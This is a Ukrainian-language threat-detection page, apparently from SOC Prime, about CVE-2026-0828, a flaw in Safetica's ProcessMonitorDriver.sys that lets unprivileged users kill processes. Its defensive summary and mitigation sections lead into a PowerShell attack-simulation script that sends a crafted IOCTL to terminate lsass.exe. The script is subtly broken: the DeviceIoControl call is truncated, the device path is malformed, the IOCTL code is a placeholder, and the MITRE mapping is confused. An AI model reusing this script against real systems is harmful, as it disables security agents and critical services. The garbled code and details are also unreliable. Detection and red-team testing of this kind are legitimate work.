SOC Prime Bias: Критичний

26 Jan 2026 21:54

Safetica містить середній ядерний драйвер

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Safetica містить середній ядерний драйвер
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Уразливість у драйвері ядра Safetica ProcessMonitorDriver.sys дозволяє користувачу без привілеїв зловживати інтерфейсом IOCTL для завершення довільних системних процесів. Це може призвести до відмови в обслуговуванні та порушення роботи інструментів безпеки на уражених кінцевих точках. Проблема може бути використана для знищення агентів EDR та інших критичних служб, швидко зменшуючи захисне покриття. Наразі жодної виправки від постачальника немає.

Розслідування

У звіті документовано CVE-2026-0828 у ProcessMonitorDriver.sys у клієнтських версіях Safetica DLP. Він показує, що слабка перевірка введення дозволяє завершення процесів з підвищеними привілеями драйвера через підроблені запити IOCTL. Важливість впливу на моніторинг безпеки кінцевих точок підкреслюється.

Пом’якшення

Моніторити підозрілі виклики IOCTL до драйвера, покладатися на EDR або телеметрію хосту, обмежувати доступ до драйвера за допомогою групових політик Windows, WDAC або AppLocker. Поки не буде випущено виправлення, блокувати взаємодію ненадійних виконуваних файлів з ProcessMonitorDriver.sys.

Реагування

Виявити аномальну активність IOCTL, спрямовану на ProcessMonitorDriver.sys, ізолювати уражені системи та застосувати політичні контролі для заборони доступу до драйвера. Збільшити ведення журналів, сповіщати про взаємодію без привілеїв і розглянути можливість відключення драйвера як тимчасового обходу.

Потік атак

Ми все ще оновлюємо цю частину. Підпишіться, щоб отримати сповіщення

Сповістити Мене

Симуляція Виконання

Передумова: Телеметрія та Перевірка Базових Даних Попереднього Запуску повинні пройти.

Мотивування: У цьому розділі детально описано точне виконання техніки супротивника (TTP), спрямованої на запуск правила виявлення. Команди та наратив повинні прямо відображати вказані TTP і прагнути створити очікувану телеметрію, як визначено логікою виявлення.

  • Наратив Атаки та Команди:
    Оператор червоної команди прагне зловживати уразливим ProcessMonitorDriver.sys драйвером для завершення довільного процесу з високими привілеями (lsass.exe). Вони досягають цього, координуючи зловмисний IOCTL-запит, який наказує драйверу закрити дескриптор цільового PID, тим самим захоплюючи виконання потоку (T1574) і уникаючи стандартних захисних механізмів (T1211). Кроки включають:

    1. Визначити PID lsass.exe.
    2. Відкрити дескриптор до уразливого драйвера (.ProcessMonitorDriver).
    3. Створити IOCTL-буфер, що містить цільовий PID та код команди, який запускає завершення процесу.
    4. Викликати DeviceIoControl за допомогою зловмисного коду управління (0xdeadbeef).
    5. Закрити дескриптор драйвера.
  • Скрипт Регресійного Тестування:

    # Exploit Simulation for ProcessMonitorDriver.sys (CVE‑2026‑0828)
    # -------------------------------------------------------------
    # This script sends a malicious IOCTL to the vulnerable driver to
    # terminate the LSASS process, generating the Sysmon EventID 10
    # that the detection rule watches for.
    
    # 1. Locate LSASS PID
    $targetProcess = Get-Process -Name lsass -ErrorAction Stop
    $targetPid = $targetProcess.Id
    Write-Host "Target PID (lsass): $targetPid"
    
    # 2. Open a handle to the driver
    $driverPath = ".ProcessMonitorDriver"
    $file = [System.IO.File]::Open($driverPath, 'Open', 'ReadWrite', 'None')
    $handle = $file.SafeFileHandle
    
    # 3. Build the malicious IOCTL buffer (PID + dummy data)
    $bufferSize = 8
    $buffer = New-Object byte[] $bufferSize
    [BitConverter]::GetBytes([uint32]$targetPid).CopyTo($buffer, 0)
    [BitConverter]::GetBytes([uint32]0xFFFFFFFF).CopyTo($buffer, 4) # filler
    
    # 4. Define the malicious IOCTL code (example: 0xdeadbeef)
    $ioctlCode = 0xdeadbeef
    
    # 5. Invoke DeviceIoControl via P/Invoke
    $signature = @"
    using System;
    using System.Runtime.InteropServices;
    public class NativeMethods {
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            uint dwIoControlCode,
            byte[] lpInBuffer,
            int nInBufferSize,
            byte[] lpOutBuffer,
            int nOutBufferSize,
            out int lpBytesReturned,
            IntPtr lpOverlapped);
    }
    "@
    Add-Type $signature
    
    $bytesReturned = 0
    $outBuffer = New-Object byte[] 0
    $result = [NativeMethods]::DeviceIoControl(
                  $handle,
                  $ioctlCode,
                  $buffer,
                  $buffer.Length,
                  $outBuffer,
                  0,
                  [ref]$bytesReturned,
    
    if ($result) {
        Write-Host "IOCTL sent successfully – LSASS termination may have occurred."
    } else {
        $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
        Write-Error "DeviceIoControl failed (Error $err)."
    }
    
    # 6. Cleanup
    $file.Close()
  • Команди прибирання:

    # Remove any lingering driver handles (best‑effort)
    # Ensure LSASS is restarted if terminated (for a safe lab)
    if (Get-Process -Name lsass -ErrorAction SilentlyContinue) {
        Write-Host "LSASS still running – no cleanup needed."
    } else {
        Write-Host "Restarting LSASS (requires admin privileges)…"
        # On a test machine you may reboot or use a service restart cmdlet
        # Restart-Service -Name "lsass" -Force
    }